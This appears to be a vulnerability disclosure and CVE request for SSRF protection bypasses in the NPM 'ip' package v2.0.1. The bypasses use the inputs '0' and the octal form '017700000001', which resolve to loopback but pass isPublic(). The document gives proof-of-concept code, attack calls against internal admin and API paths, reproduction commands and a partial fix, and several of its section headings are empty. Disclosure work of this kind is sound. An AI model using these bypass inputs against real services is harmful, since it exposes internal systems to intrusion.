CVE Application Document

Multiple SSRF Bypass Vulnerabilities in NPM IP Package v2.0.1

Basic Information

Vulnerability Summary

Multiple critical input validation bypass vulnerabilities exist in the NPM IP package v2.0.1 ip.isPublic() and ip.isPrivate() functions. These vulnerabilities allow attackers to bypass Server-Side Request Forgery (SSRF) protection mechanisms by using alternative IP address representations that are incorrectly classified as public when they actually resolve to private/loopback addresses.

Primary Bypass Techniques:

  1. Null Route Bypass: Input "0" → resolves to 127.0.0.1
  2. Octal Localhost Bypass: Input "017700000001" → resolves to 127.0.0.1

Affected Functions

Vulnerability Details

Bypass Technique #1: Null Route Format ("0")

const ip = require('ip');
console.log(ip.isPublic("0"));    // Returns: true (INCORRECT - should be false)
console.log(ip.isPrivate("0"));   // Returns: false (INCORRECT - should be true)

The address "0" resolves to localhost (127.0.0.1) in most network stacks but is incorrectly identified as public.

Bypass Technique #2: Octal Localhost Format ("017700000001")

const ip = require('ip');
console.log(ip.isPublic("017700000001"));  // Returns: true (INCORRECT - should be false)
console.log(ip.isPrivate("017700000001")); // Returns: false (INCORRECT - should be true)

The address "017700000001" uses 32-bit octal notation where the entire IPv4 address is represented as a single octal number. In this format, 017700000001 (octal) equals 2130706433 (decimal) which corresponds to 127.0.0.1 but is incorrectly identified as public by the IP validation functions.

Correct Behavior (For Comparison)

console.log(ip.isPublic("127.0.0.1"));  // Returns: false (CORRECT)
console.log(ip.isPrivate("127.0.0.1")); // Returns: true (CORRECT)

Root Cause Analysis

The vulnerabilities stem from inadequate input validation and IP address normalization in the IP parsing logic. The functions fail to:

  1. Normalize IP addresses before validation
  2. Handle special cases like null route (0) and octal formats (017700000001)
  3. Apply comprehensive validation for all possible IP address representations

Proof of Concept

Basic Bypass Demonstration

var ip = require('ip');

// Vulnerable SSRF protection pattern (commonly used)
function makeRequest(userUrl) {
    const url = new URL(userUrl);
    const hostname = url.hostname;
    
    // Intended protection - BYPASSED!
    if (ip.isPublic(hostname)) {
        // Attacker gains access to internal resources
        return fetch(userUrl);
    } else {
        throw new Error("Private IP access denied");
    }
}

// ATTACK EXAMPLES:
makeRequest("http://0:3000/admin");        // ✓ BYPASSED - null route attack
makeRequest("http://017700000001:8080/api");  // ✓ BYPASSED - octal localhost attack
makeRequest("http://127.0.0.1:3000");      // ✗ BLOCKED - correctly identified

Live Vulnerability Demonstration

Screenshot Evidence: Below is a live demonstration showing the vulnerability in action:

NPM IP Package Vulnerability Demonstration

Figure: Real-time testing of null route and octal format bypass techniques showing successful SSRF protection bypass


Impact Assessment

Severity: CRITICAL (CVSS 9.8)

Primary Impact:

Secondary Impact:

Affected Systems

Installation Base:

Typical Vulnerable Code Patterns:

// Express.js endpoint with SSRF protection
app.post('/proxy', (req, res) => {
    const targetUrl = new URL(req.body.url);
    if (ip.isPublic(targetUrl.hostname)) {
        // VULNERABLE TO BYPASS ATTACKS
        fetch(req.body.url).then(data => res.json(data));
    } else {
        res.status(403).json({error: "Private IP blocked"});
    }
});

Reproduction Steps

  1. Install NPM IP package v2.0.1: npm install ip@2.0.1
  2. Test both bypass techniques:
    # Test null route bypass
    node -e "const ip=require('ip'); console.log('0 bypass:', ip.isPublic('0'));"
    
    # Test octal localhost bypass  
    node -e "const ip=require('ip'); console.log('017700000001 bypass:', ip.isPublic('017700000001'));"
    
    # Verify correct behavior
    node -e "const ip=require('ip'); console.log('127.0.0.1 correct:', ip.isPublic('127.0.0.1'));"
  3. Expected results: First two return true (bypasses), last returns false (correct)

Fix Recommendations

Immediate Mitigation

// Enhanced validation function
function isReallyPublic(address) {
    // Handle bypass techniques
    if (address === '0' || 
        address.startsWith('127.') || 
        address.match(/^0\d+$/)) {  // Detect octal format (starts with 0 followed by digits)
        return false;
    }
    return ip.isPublic(address);
}

Long-term Fix

  1. Input Normalization: Normalize all IP addresses before validation
  2. Comprehensive Validation: Include all possible IP address representations
  3. Special Case Handling: Properly handle null routes and octal formats

Timeline

Supporting Evidence

References

Researcher Information

Security Researcher
Previous CVE Discoveries: CVE-2023-42282 (NPM IP Package v1.1.8)
Research Focus: Input validation bypass techniques and SSRF vulnerabilities


CVE Assignment Request

Requested CVE Assignment For:
Multiple IP address format bypass vulnerabilities in NPM IP Package v2.0.1 affecting ip.isPublic() and ip.isPrivate() functions, leading to Server-Side Request Forgery (SSRF) attacks through null route ("0") and octal localhost format ("017700000001") inputs that resolve to localhost but are incorrectly classified as public.

CVSS 3.1 Score: 9.8 (Critical)
CWE Classification: CWE-20 (Improper Input Validation)